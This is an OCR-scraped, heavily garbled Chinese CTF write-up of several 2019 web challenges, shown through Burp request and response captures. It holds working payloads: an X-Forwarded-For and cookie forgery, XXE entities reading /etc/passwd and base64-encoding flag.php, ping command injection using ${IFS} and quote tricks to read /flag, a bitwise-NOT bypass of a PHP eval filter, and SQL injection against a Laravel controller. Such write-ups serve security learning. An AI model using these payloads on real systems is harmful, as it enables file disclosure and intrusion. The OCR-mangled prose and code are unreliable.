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http://119.61.19.212:8084/

flagt& =\ flag{xxx}

HZEVHRE I, #Hw4A034HIR

R 52

csdn.ne

4

Go | <iv [ >

J Raw ] Params [ Headers IE

Raw | Headers [ Hex Render‘
| |

1
GET / HTTP/1.1
Host: 119.61.19.212:8084
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/76.0.3809.100 Safari/537.36
DNT: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image /apng,”/*;q=0.8,appli
cation/signed-exchange;w=b3
Referer: http://qwb.nsctf.cn/yourchallenges
Accept-Encoding; gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 2

-

HTTP/1.1 200 OK

Date: Tue, 10 Sep 2019 01:43:20 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: admin=0

Content-Length: 3

Connection: close

Content-Type: text/html; charset=UTF-8

403



— R T ipFR%), fn_E X-Forwarded-For kBl A 825

[ Go- Cancel <lv ][ >v

Request Response
_[Rm] Params ] Headers It'lex 1 _[mJ Headers f Hex I Render ]
GET / HTTP/1.1 [y HTTP/1.1 200 OK
Host: 119.61.19.212:8084 Date: Tue, 10 Sep 2019 01:43:45 CMT
Upgrade-Insecure-Requests: 1 Server: Apache/2.4.18 (Ubuntu)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Set-Cookie: admin=0 s
Gecko) Chrome/76.0.3809.100 Safari/537.36 Content-Length: 11
DNT: 1 | Connection: close
Accept; Content-Type: text/html; charset=UTF-8
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,*/*;q=0.8,appli
cation/signed-exchange,v=b3 okNot Admin

Referer: http://qwb.nsctf.cn /yourchallenges
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

X-Forwarded-For: 127.0.0.1

Content-Length: 2 \ |

BEVRRAREHERA, FHEWMN LK Set-Cookie , H4 admin=0, fRBHERiEidCookieskRHIMi R T REH R, HIEBEFR
Hin4~ Cookie:admin=1 BiaI4eit, 3kEflag.

| Go Cancel <ivl [

Request Response
_[MI Params THeaders I Hex ] _[QMI Headers I Hex T Render ]
GET / HTTP/1.1 A HTTP/1.1 200 OK
Host: 119.61.19.212:8084 1 Date: Tue, 10 Sep 2019 00:36:46 GMT
Upgrade-Iinsecure-Requests: 1 Server: Apache/2.4.18 (Ubuntu)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Set-Cookie: admin=0
Gecko) Chrome/76.0.3809.100 Safari/537.36 Content-Length: 21
DNT: 1 Connection: close
Accept: Content-Type: text/html; charset=UTF-8
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image /apng,*/*;q=0.8,appli
cation/signed-exchange;v=b3 okflag{xxasdasdd_for}

Referer: http://qwb.nsctf.cn/yourchallenges
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

X-Forwarded-For: 127.0.0.1

Cookie: admin=1

2.XX?
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http://119.61.19.212:8083/

flagh& =\, : flag{xxx}

R ANRLER2E

https://blog.csdn.net/q

HEVHRESR, KARNEERE, &7 TEN, BHta7¥%E.

@ gedit X @ view-so X | @ 2019%: x | @ BEST X | @ BESD X | @ view-so X | @ view-sc X | @ 19617 X | @ view-so X | @ 1

& C ([ @ 7%2 | 119.61.19.212:8083 o &
gl G vt G ool ) kel EAPE B iTak B e o ¥y inoreader v (s | v Y emgompe. BB

8o
BaiN&EE

Vil T~ indexphp » KIA RART, SRV JLANE RS XHESR, BERNPOER. FHET T, KWUAEE gedit, 51
£ gedit &4 30, BT index.php~ SREUE VRS o



@ 119611 x @ view-so X | @ 2019%: x | @ WEAD X | @ WELL X | €
< C @ A%2 | 119.61.19.212:8083/index.php
B HA Qcmss J Team §Ven., @ENYD R RITE F o ok

CTF:

@ 11961 X @ view-s X @ view-s X | & 20195 X | ® ®WEL X |
C @ FAL%L | view-source:119.61.19.212:8083/index.php

DA o e O octege o mmemlg (D T3 DD TEsl B

1 CTF:<br>

& 11961 X @ view-s X | @ view-s X | & 20195 X | D #
&« > C O FAELEE | 119.61.19.212:8083/index.php~

dem ) onur G ootagr ) mmmoawr Bm w2
<?php

#82MMEwarning

error reporting(E ALL”E NOTICE"E WARNING);



$xmlfile = file get contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXMI_ NOENT | LIBXML DTDLOAD);

$creds = simplexml import dom($dom);
Suser = S$creds->user;
Spass = $creds->pass;

echo "CTF:" . "<br>" . "S$Suser";
7>

i e s m— L, Thip
—r—r_J:rh_#u._-7 oL
- 1 ey e e F i =

g T ,ﬁﬂr L tETT 2 A

JERS AT php:/input 3REX POST #E R IR E, REIEAEMERN xml @8, BEMZEXXE RRFIH. RESHLWEUT
XML ¥ &% 2R 55 5% .

<?xml version="1.0"?>
<creds><user>admin</user><pass>pass</pass>
</creds>

KB LARLR 4.

L[l 0o -]

Go |  Cance l < |v || > |
Request Response

Raw I Params | Headers H?T_Jaﬂ l Raw | Headers IEI Render]

POST /index.php HTTP/1.1 HTTP/1.1 200 OK

Host: 119.61.19.212:8083 Date: Tue, 10 Sep 2019 01:03:51 GMT
Upgrade-Insecure-Requests: 1 Server: Apache/2.4.18 (Ubuntu)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10_14_6) AppleWebKit/537.36 (KHTML, like Content-Length: 13

Gecko) Chrome/76.0.3809.100 Safari/537.36 Connection: close

DNT: 1 Content-Type: text/html; charset=UTF-8
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image /webp,image/apng,*/*;q=0.8,appli CTF:<br>admin
cation/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: admin=0

Connection: close

Content-Type: application/xml
Content-Length: 56

T

<?xml version="1.0"7>
<creds> <user>admin </user><l/creds> T L P

fEF LAF XXE payload HJi:HX /etc/passwd LA

<?xml version="1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<creds><user>&xxe;</user></creds>



l Go Cancel

| Lsdr aariny

Request

[ Raw | Params | Headers | Hex | xmL |

Target: http://119.61.19.212:8083 7 (7)

Response

J—W,J Headers lHex I Render ]

POST findex.php HTTP/1.1

Host: 119.61.19.212:8083

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10_14_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/76.0.3809.100 Safari/537.36

DNT: 1

Accept:
text/html,application/xhtml+xml,application fxml;g=0.9.image /webp,image/apng,” /*;q=0.8,appli
cation/signed-exchange v=h3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Caookie: admin=0

Connection: close

Content-Type: application/xml

Content-Length: 116

<?xml version="1.0"7>
<IDOCTYPE ANY [<!ENTITY xxe SYSTEM “file:/ //etc/passwd'>]>
<creds><user>&xxe;</user></creds>

©]

Ready

|| [ | = | | Tvpe a search term

0 matches

HTTP/1.1 200 OK

Date: Tue, 10 Sep 2019 01:25:44 GMT
Server: Apache/2.4.18 (Ubuntu)

Vary: Accept-Encoding

Content-Length: 1247

Connectlon: close

Content-Type: text/html; charset=UTF-8

s

CTF:<br=root:x0:0-root:/root:/ bin/bash
daemon:x:l:l:daemon:/usr/sbin:/usr/sbin/nologin

binaczZ:Z:bin:/bin:/usr/sbin/nologin

sysix:3:3isys:/dev:/usr/shin/nologin

syncx:4:65534sync/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbhin/nologin
manx:6:12:man:/var/cache/man:/usr/shin/nologin

Ip:x:7:7:p:/var/ spool {/Ipd:fusr/sbin/nologin

mailacB:B:mail:/var/mail:/usr/sbin/nologin

newsax:dSnews: /var/spool/news:/usr/sbin/nologin

wucpx:10:10:uucp:/ var/ spool fuucp:/ usr/sbin/nologin

proxy:x:13:13:proxy:/ bin:/usr/sbin/nologin

wiww-dataix:33:3www -data:/var/www:/usr/sbin/nologin
backupx:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irec39:3%ired:/var/run/ircd: fusr/ sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534nobody:/ i /usr/shin/nologi

5y d-ti yncx:100:102:5y d Time Synchronization,.:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,:/run/systemd/netif:/bin/false
systemd -resolvex:102:104:systemd Resolver:/run/systemd/resolve:/bin/false

systemd -bus-proxy::103:105:systemd Bus Proxy,.:/run/systemd:/bin/false
_aptxc104:65534:/ nonexistent:/bin/false

<

0 matches

3
=

@ = + = [ Type a search term

1,439 bytes | 186 millis

iU Mag, letciflag, FBAFTE. RS ZREEE index.php , (EANENIE W bR B F BB A

Go | | Cancel (<l |[ 2]

Request

[ Raw | Params | Headers | Hex | xmL |

Response

| Raw | Headers T_Hex Tihnder]

POST /index.php HTTP/1.1
Host: 119.61.19.212:8083
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_&) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/76.0.3809.100 Safarif/537.36
DNT: 1
Accept:

text/html,application/xhtml+xml application/xml;g=0.9,image /webp,image /fapng,” /*.q=0.8,appli

cation/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: admin=0

Connection: close

Content-Type: application/xml
Content-Length: 128

<?xml version="1.0"7>
<IDOCTYPE ANY [<IENTITY xxe SYSTEM ‘file:// /var /www/html/index.php">]>
<creds> <user>Rxxe;</user></creds>

HTTP/1.1 200 OK

Date: Tue, 10 Sep 2019 01:51:41 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 9

Connection: close

Content-Type: text/html; charset=UTF-8

e

CTF:<br>




BEWRIREFAE flag.php XM

@ 11961 X @ view-s X | & view-s X | & 20195 X | (-]
& C @ %L | 119.61.19.212:8083/flag.php

PR O S B dmy. b owogkiivit 9 B %

BT—T, RIALLUET php/filter/ RiZEZ 1 H R T RISCE. FR2MELLT XXE payload BRI A[2EL flag.php

<?xml version="1.0"?>

<!DOCTYPE ANY [<!ENTITY xxe SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>]>
<creds><user>&xxe;</user></creds>

Gl [s-Ta-TsJo-T7-Tc jom]

[ Ga || Cancsl | [<in] [ >iv] Target: hitp://119.61.19.212:8083 7 (7)
Request Response
;TQ,J Params I Headers I Hex | XML Fa I Headers | Hex E Render
POST findex.php HTTP/L.1 . HTTP/1.1 200 OK .
Host: 119.61.19.212:8083 [ Date: Tue, 10 Sep 2019 01:33:09 GMT '
Upgrade-Insecure-Requests: 1 Server: Apache/2.4.18 (Ubuntu)
User-Agent: Mozilla/5.0 {(Macintosh; Intel Mac OS5 X 10_14_6) AppleWebKit/537.36 (KHTML, like Content-Length: 60
Gecko) Chrome/76.0.3809.100 Safari/537.36 Connection: close
DNT: 1 Content-Type: text/html; charset=UTF-8
Accept:
text/html application/xhtml+xml application fxml;q=0.9 image fwebp, image fapng,* /*;q=0.8,appli CTF:<hr>PD9waHAKLYSmbGFne0lVeWFzZDayMTMxMjMxMjM4OTBICIA/ Pgo=
cation/signed-exchange v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: admin=0 |
Connection: close
Content-Type: application/xml 208 Eonvarted tt
Content-Length; 157 - . L
Copy to clipboard Close
<?wml version="1.0"7> ;J
<IDOCTYPE ANY [<IENTITY xxe SYSTEM <7php il
‘php/ ffilter jread=convert.basef4-encode fresource=, /flag.php'>]> //flagllUyasd8213123123890) |
<creds><user>&xxe;</user></creds> 7> |
7|
@ < |+l > | l 0 matches |
=
T T

3. 4%, ping—TF~



%Eﬂq!plng_-F“'

ristping R4 Et~
http://119.61.19.212:8081/

flagh&=: flag{xxx}

%o BNREERZK

https://blog.csdn.net/qq_28205153

TTHAER, RN ip, )5 ping Z%ip, XF—KSBEWSEAN
B 20195H X S Title * @ HMELL4T X & HiESET X @ view-so b4 @ view-so * & 196119 X @ view-sour X

C O L2 | 119.61.19.212:808

A ) My G Gwrn kR R, T LaeP O @OWU P 2.l AT T e a "m ] VTaes @ P LLE

Free Ping!

p

M 127.0.0.1




ESHHEBE R Is; RIhFIH T H50 B RE 3.

I_Go__] Cancel [Tl l_)_'_]

Request

% | Params | Header ex

Response

_@ Headers | Hex i HTML

l Render ]

Target http://119.61.19

GET /index.php?A=;ls; HTTP/1.1

Host: 119.61.19.212:8081

Upgrade-Insecure-Requests: 1

DNT: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10_14_6) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36

Accept:

text/html,application/xhtml+xmlapplication/xml;g=0.9,image /webp.imagefapng,* /*;

g=0.8.application/signed-exchange;v=b3

Referer: http://119.61.19.212:8081/index.php?A=127.0.0.1
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Connection: close

T

4 ¥

<i class="mdui-icon material-icons">8&#xel53;</i>
<label class="mdui-textfield-label">ip</label>
<input class="mdui-textfield-input” type="text” name="A"/>

< fdiv>

<button class="mdui-btn mdui-btn-raised mdui-ripple mdui-color-theme-accent
mdui-float-right mdui-ripple"><h4>Ping!</h4></button>

</div>
<(form>
<br=<br>

<div style="text-align: center;">

<h2>

You Command: ping -c 4 ]Is;

< [div>
<br=<br>

<div style="text-align: center;">

<h3>

index.php
</h3>
< /div=

< [div>

Wi,

<fh2>

<script sre="//cdnjs. loli.net/ajax/libs/mdui/0.4.1 fjsfmdui.min.js"> < /script>
<script src="https:/ /code jquery.com/jquery.js"> < /script>

<l-= EHERTE B IRELERF -->

<script src="/static,/js /bootstrap.min.js"> < /script>

</body>
</html>

ZRIIHRE R, KAEEBT, @3)JLRER, KGN N ERSPEER. BT TR, KIAUMER $1rsgo B

${IFS} RABTHK. RIIPIT Is 4



|I. Go ] [ caneel -<|'- > |
Request

_LMI Params THeaders I Hex ]

Response

[ Raw [ Headers | Hex [ HTML | Render |

GET /index.php?A=;ls+}/; HTTP/1.1
Host: 119.61.19.212:8081
Upgrade-Insecure-Requests: 1
DNT: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36

(KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image /webp,image /apng,*/*;

q=0.8,application/signed-exchange;v=b3

Referer: http://119.61.19.212:8081/index.php?A=127.0.0.1
Accept-Encading: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

| Go Cancel | | <iv || >|»
Request

iﬁ] Params | Headers Hexi

A HTTP/1.1 200 OK

E Date: Mon, 09 Sep 2019 03:24:19 CMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.1.32
Content-Length: 41
Connection: close
Content-Type: text/html; charset=UTF-8

<script>alert('U are a hacker!)</script>

Target: http://119.6.

Response

[ Raw | Headers | Hex | HTML | Render |

GET Jindex.php?A=%3blsSIF5$9/%3b HTTP/1.1

Host: 119.61.19.212:8081

Upgrade-Insecure-Requests: 1

DNT: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36

Accept:
text/htmlapplication/xhtml+xml,application /xml;q=0.9,image fwebp,image /apng,* /*;
gq=0.8,application/signed-exchange;v=b3

Referer: http://119.61.19.212:8081/index.php?A=127.0.0.1

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

T

<input class="mdui-textfield-input” type="text" name="A"/>
</div>

<button class="mdui-btn mdui-btn-raised mdui-ripple mdui-color-theme-accen
mdui-float-right mdui-ripple”> <h4>Ping!</h4> </button >
< /div>
</form>
<br><br>
<div style="text-align: center;">
<h2>
You Command: ping -c 4 ;Is$IFS§9/; </h2>
< fdiv>
<br><br>
<div style="text-align: center;">
<h3>
bin

h-

g

boot
dev
etc
flag
home
lib <fh3>
<fdiv>

</div>
<script sre="/[cdnjs.loli.net/ajax /libs/mdui/0.4.1 js/mdul.min gs"> </scripe>

el e i i b el s R R R

RN B FA flag X, RE, HEBOUFRH4 W cat . head . tail Far 8T, F flag REEEEEET. &

T, RELAT LB 7E fr-& A nm AN G| 5 5l .

i c"at${IFSYA™ag B flag I #F, 7 flag AESE—AT



Tj Cancel @‘E

Request

g Params l Headers lHex ]

GET findex.php?A=%3bc™at${IFS}/fl™ag%3b HTTP/1.1

Host: 119.61.19.212:8081

Upgrade-Insecure-Requests: 1

DNT: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36

Accept:
text/htmlapplication/xhtml+xml,application/xml;q=0.9,image /webp.image /apng,* [*;
q=0.8,application/signed-exchange;v=b3

Referer: http://119.61.19.212:8081 /index.php?A=127.0.0.1

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

AJ LA Fitail lag -n +3 B77 AR EBUB 3TN AR

[ Go. | | cancel <iv| [>in
Request

Target: http:/ /119

Response

_M Headers [ Hex I HTML I Render i

<div class="mdui-divider"> < /div>

<form method="get" action="index.php">
<div class="" id="username™>
<div class="mdui-textfield mdui-textfield-floating-label " >
<i class="mdui-icon material-icons">&#xel53;</i>
<label class="mdui-textfield-label">ip</label>
<input class="mdui-textfield-input" type="text" name="A"/>
<fdiv>

<button class="mdui-btn mdui-btn-raised mdui-ripple mdui-color-theme-acc
mdui-float-right mdui-ripple"> <h4 >Ping!</h4> </button>
</div>
< fform=
<br><br>
i <div style="text-align: center;">
<h2>
You Command: ping -c 4 ;c™at${IFs}/fl""ag;

<fh2>

< fdiv>
<br><br>
<div style="text-align: center;">

<i3
'[ Flag not in linel ]
Flag not in ZINS™
< fdiv>

</div>
<scriot sre="//cdnis.loli.net/aiax/libs/mdui/0.4.1/is/mdui.min.is"> </scriot>

Target: http://119.61.19.212:801

Response

[ Raw | Headers | Hex | HTML | Render |

GET /index.php?A=%3bta™ilS{IFS}/f™agS{IFS}-n3{IFS}%2b3%3b HTTP/1.1 a
Host: 119.61.19.212:8081 1
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10_14_6) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Accept:
text/html.application /xhtml+xml.application/xml;q=0.9image /webp,image /apng,*(*;
g=0.8,application/signed-exchange,v=b3
Referer: http://119.61.19.212:8081 /index.php?A=127.0.0.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
I

BB burp B8, K flag 7EEE161T.

<i class="mdui-icon material-icons">&#xel53;</i>

<label class="mdui-textfield-label">ip</label>

<input class="mdui-textfield-input" type="text" name="A"/>
< fdiv>

<button class="mdui-btn mdui-btn-raised mdui-ripple mdui-color-theme-accent

mdui-float-right mdui-ripple”> <h4>Ping!</h4></button >

< fdiv>

< fform=>
<br><br>

<div style="text-align: center,">
<h2=>
You Command: ping -c 4 ta™il${IFS}/fI""ag${IFS}-n${IFS}+3; </h2>
< fdiv>

<br><brs>

<div style="text-align: center;">

<h3
Flag not in line3
Flag not in </h3>

< fdiv>

<fdiv>

<script sre=" fednjs.loli.net/ajax /libs/mduif0.4.1/js/mdui.min.js"> < /script>
<script src="https:/ /code jguery.com/jquery.Js"> < "“cript>

<l SEFRE D REMEYE > \ (oo ok
<script sre="/static/js /bootstrap.min js™> < /seripts__/
</body>

<fhtml>




‘o0 @
Attack Save Columns

Jllaesult,i T Target I Positions T Payloads T Options 1

Intruder attack 1

| Filter: Showing all items

Request 4 Payload | Status | Error | Timeout | Length | Comment
3 3 200 O [} 2307 x|
5 5 200 (| U 2307
6 6 200 O O 2307
7 7 200 ] U] 2307
8 8 200 | U 2307
9 9 200 O O 2307
10 10 200 U U 2308
11 11 200 J U 2308
12 12 200 O O 2308
14 14 200 O O 2308
15 15 200 U B 2308
16 16 200 (I | 2306
17 17 200 O U 2278 ¥/
18 18 200 J O 2278 v
[Request [ Rsspnm]
J&m! ] Headers THex THTML T Render]
<h2> la
You Command: ping -c 4 ;ta™il${IFS}/fl""ag${IFS}-n3${IFS}+16; </h2>
</div>
<br><br>
<div style="text-align: center;">
<h3>
flag{llllll_U_GeT_Th3_fl4g}
</h3>
</div>
v
@ [LJ [LJ QJ Type a search term ;A_:; Jr-,lfJ r J_/?"_ "’:_‘_ : 7 Z,_Wﬁr:"“f:hes

Waiting to pause [

4. php



php

PHPEHR F&....NIES
http://119.61.19.212:8082/

flagh&=\ : flag{xxx}

P ER, & Apache BRi\FAMH.

@ Apachez x @ Title X | @ RELHKS X X | @ view-sou X | @ view-sour X | @ 1196119 X | @ view-sour X | @ 196119 x | @ 18
& C @ F%22 | 1M96119.212 & & v
T aE 4 oA aqe g Had B ) PR b, mEST B e = Y noee b m B oweloie P Bt Taaiag G - AT

Apache2 Ubuntu Default Page

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Ubuntu systems, It is based on the equivalent page on Debian, from which the Ubuntu
Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var/www/html/index.html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Ubuntu tocls. The configuration system is fully
documented in fusr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

/etc/apache2/

i |-- apache2.conf
if “== ports.conf

Efa- mods-enabled



iil8 indexphp » % TG, VEIEHIKE code ZHMINE, R/EIE code SHH A AL eval AT, Hib E REE code
KB ¥ B % GetYourFlag() BP I 3REX flag, (HEPATZ B T iI98, WRABRRFER, HE, TRXRSRKRFER, MELHIT.

@ 196119 X @ Title X | @ WEART X | @ WEART X | @ view-sou X | @ v
&« > C 0O FR2L | 119.61.19.212:8082/index.php
O ) Mt G ke g Aty EREINT B <8EE K e B

<?php
error reporting(E_ALL"E NOTICE"E WARNING);
function GetYourFlag(){

echo file get contents("./flag.php");
}

if(isset($_GET[ 'code'])){
$code = $ _GET[ 'code'];
//print (strlen(S$Scode));

if (strlen($code)>27)({

die("Too Long.");

}

if (preg_match('/[a-zA-Z0-9_&"<>"\']+/',$_GET[ 'code'])) {
die("Not Allowed.");

}
@eval ($_GET[ 'code']);
}else({
highlight file(_ FILE_);
}
>

S



BTTF, R¥p MHSCEBEUEIR LUET (‘phpinfo’)(); B77 RRPATH R L HMRIL . REETRHFREFIRRWETR:, W~
Oxb8 HIMERIF R ¥} G . Eid FHE KT RER GetYourFlag BUR I+ 75 i Hi4E -

f17(0) ~ || @ “test.php

*test.php X

<?php |
echo bin2zhex(~"GetYourFlag");
:' -2

% php test.php
b89a8ba6908a8db9939e98;

N |

T BNRLERZH

SRIGAE i BN A B R AN T ETIN L % RAG1E URL S HIREBR 747 5, B/SH) payload W1
http://119.61.19.212:8082/index.php?code=(~%b8%9a%8b%a6%90%8a%8d%b9%93%9e %98)()

L Go Cancel <Y
Request Response
Raw I Params HeadersT Hex II J Raw T Headers T Hex T Render ]
GET /index.php?code=(~%b8%9a%8b%ab%90%8a%8d%b9%93%9e%98)(); HTTP/1.1 A HTTP/1.1 200 OK
Host: 119.61.19.212:8082 r Date: Mon, 09 Sep 2019 03:13:24 GMT
Upgrade-Insecure-Requests: 1 Server: Apache/2.4.18 (Ubuntu)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 Content-Length: 57
(KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36 Connection: close
DNT: 1 Content-Type: text/html; charset=UTF-8
Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image fapng,”/*; <?php
g=0.8,application/signed-exchange;v=b3 $flag="flag{3904c5df2e894cal2a21004feb21e617}"
Accept-Encoding: gzip, deflate 7>
Accept-Language; zh-CN,zh;q=0.9
Connection: close =
= 2




% i T

INBRTEE 7T —1CMS, {Regmfbicimmns? ? ?
http://119.61.19.212:8085/

flagf& Tt . flag{xxx}

wWwWw.zip

LY ?tﬂ’]ﬁzé*'z:%iZEﬁ

https://blog.csdn.net/q




TRIFEBESEE, REVIHER

@ WEB X @ Title X | @ MEAGT X | @ MEALS X | @ view-sour X | @ viewsou X | @ 1196119 X | @ view-sour X | & 119.61.18
& C @ 19.61.19.212:8 B
YA (JARA Fdmge b =i s Ipamy o oo R SoneBh [ i = el [ =t i el ! e m B

Laravel

S0 FUN

Ro HNZLERZE




BEE TIFEE R Nogin B W IH

# loginvl X @ Title X | @ ®WELART X | @ WMELET X | @ viewsou X | @ view-souw X | @ 196119 x | @ view-sou X | @ 196119 x | @ 196119 >

& C A FZ2 | Mos119.212

o B Y Gy

HEA TYed G e o= g R B el ol ™% b duogeBd  werwm fF “wiv BHB- "« H P Nmm o Pe b 8T 1a

R BNRLERTE

hitps://blog.csdn.net/gq_28205153

BERKS, BEFERBRTERE, K UserFactory.php SCARFERERTA AN HE, BEAMEKSRH4.



*_

% backup W database [ factories 5 UserFactory.php
W Project = Q=
¥ = backup /Applications/MAMP/htdocs/backup
¥ W app

¥ LiFavorites e T Structure

"

4 vy

4

b = Console
* I Exceptions
v -m
¥ b= Controllers
& = Auth
& Contreller.php
® HomeCantroller. php
& ProfileController.php
& UserController.php
= B Middleware
& Kernel.php
* B Providers
& User.php
[ bootstrap
I config
[ database
¥ b= factories
s UserFactory.php
* B migrations
* Bn seeds
i gitignore
e public
123
W css
B indexx
s
™ loginp
B mypage
i resource
B resources
W htaccess
& favicon.ico
ansindex.php

P e,

B Terminal

Y YYYTYYYY

backup [fApplications/MAMP/htdocs/backup] - .../database/factarie ¥php
e Web.php ® HomeController php. & ProfileControlier. php B user phe e U v.php
1 <?php
2
3 use Faker\Generator as Faker;
4
5 I+

|
| Model Factories

I
1

| This directary should contain each of the model factory definitions for
| your application. Factories provide a convenient way to generate new

| model instances for testing / seeding your application's database.

I

=

sfactory—=define (App\User::class, function (Faker $faker) {
return |
“name’ => $faker->name, /
"email' => $faker->unique(}->safeEmail,
“password’' => '$2y$104TKhSHL. P0x37YgCzwikh. KjNyWgaHbdchbeolodIVFLYg7B77UdFm', // secertheretola
L ] * remember_token' == str_random{ leath: 18),]
L
$3H

A

£ web.php KB T BEH, TFFMHRE php X EF

¥ [ factories

=

jel

Sin Dackup

>3 G e

[ ]

€e00

sseqeieq )

() Exeri Lag
2144 LF UTF-8 dgpaces W

pnp UserFactory.php

mz(%gl}z’}: g

s '
i

=] Project B = | & — | ghwebphp © HomeControllerphp @ ProfileController.php & userController.php
¥ m backup /Applications/MAMP/htdocs/backup 1 <Pphp
= app 2
» [ Console ; K kf
" 1
> BN Ex tions
v Httm 14 Route: :get('/', function () {
s — 15 return view( view: 'welcome');
¥ 4 Controllers 16 13
> [ Auth 17 Route: :get ('user_testpage/{id}', 'UserController@index');
‘€ Controller.php 18
‘& HomeController.php 19 Auth::routes();
‘& ProfileController.php 20
‘@ UserController.php 21 Route: :get (' /home', 'HomeController@index")->name('home');
> I Middleware s
P —— 23 Route: :get (' /home/profile’, 'ProfileController@show' )->name('profile');
: : 24
s :
B Providers 25 Route: :get ("' /home/uploadto_upload', ‘HomeController@uploads' )-=name( ‘home');
€ User.php 3%
» 1% bootstrap 27 Route: :post (' /home/uploadss/{key}", ‘HomeController@up™. .%ss'}->na
» [ config 28 L S )
TG
¥ [ database 29



&I UserController.php H1& 4~ SQL A

LK) backup [/Applications/MAMP/htdocs/backup] - .../app/Http/Controllers/UserController.php
% backup 5 app - [ Http - B9 Contrallers @ UserController.php
[&] Project €@ = | & — ihwebphp © HomeControllerphp ~ @& ProfileController.php ~ @ UserController.php e UserFactory.php
¥ B backup /Applications/MAMP/htdocs/backup 1 <?php
v BEapp 2
» BE Console 3 namespace App\Http\Controllers;
» [ Exceptions : e
= e
'-!:'.!.!a =
B Controllers 8 class UserController extends Controller
> e Auth g {
@ Controller.php 108 Sk
‘€ HomeController.php 11 * RN ANAPTIE.
€ ProfileController.php 12 *
‘€ UserController.php 13 + @return Response
> B Middleware 14 bl
® Kernel.php 15 public function index($id)
R 16 {
G S 17 sid=str_replace( search: "select”, replace: ", $id); /
@ User.php 18 $id=str_replace{ search: “union", replace: ", $id);
» [ bootstrap 19 $users = DB::select("select # from users where name = '$id'");
» I config 20 return view( view: 'test.index', ['users' => $users]);
¥ [ database 21 }
¥ = factories 22 }
s UserFactary.php 23
» [ migrations
» [ seeds
; iti Tz Zrle 1t ra | i et ey . DI
& inor Q- idE e
¥ M public
> w123

AR b TH B B A& AR URL SREUSTE F P B K S %1 .

http://119.61.19.212:8085/user_testpage/1’%200r%20’a’='a
K S FIIBFE IR RA Hint=key, FHESAH. @id2K, 77U A LT K S %55 % Fadmin@ctf.com/secertheretola

